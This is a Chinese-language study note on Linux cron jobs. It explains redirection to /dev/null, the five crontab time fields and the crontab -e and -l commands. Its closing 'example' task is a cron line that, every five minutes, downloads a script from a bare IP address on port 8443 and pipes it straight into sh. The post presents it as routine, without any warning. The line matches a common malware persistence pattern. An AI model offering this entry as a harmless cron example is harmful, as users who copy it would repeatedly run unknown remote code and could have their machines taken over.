Linux运维学习笔记-定时任务知识总结

Posted tcheng

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Linux运维学习笔记-定时任务知识总结相关的知识,希望对你有一定的参考价值。

定时任务编辑规范流程:

 技术分享图片

 

重要知识点:

切记用全路径编写定时脚本、定时任务

大部分在 crontab 计划任务中都会年到未尾带 >/dev/null 2>&1,是什么意思呢?

> 是重定向
/dev/null 代表空设备文件
1 表示stdout标准输出,系统默认值是1,所以 ">/dev/null" 等同于 "1>/dev/null"
2 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1

 

整句的意思就是标准输出重定向到空设备文件,也就是不输出任何信息到终端,标准错误输出重定向等同于标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件

 

&>/dev/null  即不管输出是什么都从定向到/dev/null

command > file 2>file command > file 2>&1 有什么区别呢?

command > file 2>file 的意思是将命令所产生的标准输出信息,和错误的输出信息送到file 中.command > file 2>file 这样的写法,stdout和stderr都直接送到file中, file会被打开两次,这样stdout和stderr会互相覆盖,这样写相当使用了FD1和FD2两个同时去抢占file 的管道。而command >file 2>&1 这条命令就将stdout直接送向file, stderr 继承了FD1管道后,再被送往file,此时,file 只被打开了一次,也只使用了一个管道FD1,它包括了stdout和stderr的内容。从IO效率上,前一条命令的效率要比后面一条的命令效率要低,所以在编写shell脚本的时候,较多的时候我们会用command > file 2>&1 这样的写法。

 

 

定时任务语法:

01   *    *      *      *      cmd

分    时    日    月    周    任务

crontab语法格式中时间段的含义如下表

含义

取值范围(整数)

第一段

代表分钟

00 – 59 (00也可以是0)

第二段

代表小时

00 – 23

第三段

代表日,天

01 – 31

第四段

代表月份

01 – 12

第五段

代表星期,周几

0 -7(0和7都代表星期日)

提示:时间记忆口诀(分时日月周)。取值范围记录(正常日期时间范围)

 

定时任务编辑位置:/etc/crontab

编辑定时任务:crontab -e

查看当前用户定时任务:crontab -l

 

定时任务例子:

*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh

 





以上是关于Linux运维学习笔记-定时任务知识总结的主要内容,如果未能解决你的问题,请参考以下文章

Linux运维学习笔记-文件系统知识体系总结

Linux运维学习笔记-目录知识点总结

Linux运维学习笔记-软硬链接知识总结

Linux运维学习笔记-角色知识总结

Linux运维学习笔记-文件权限知识总结

Linux运维学习笔记-通配符及正则表达式知识总结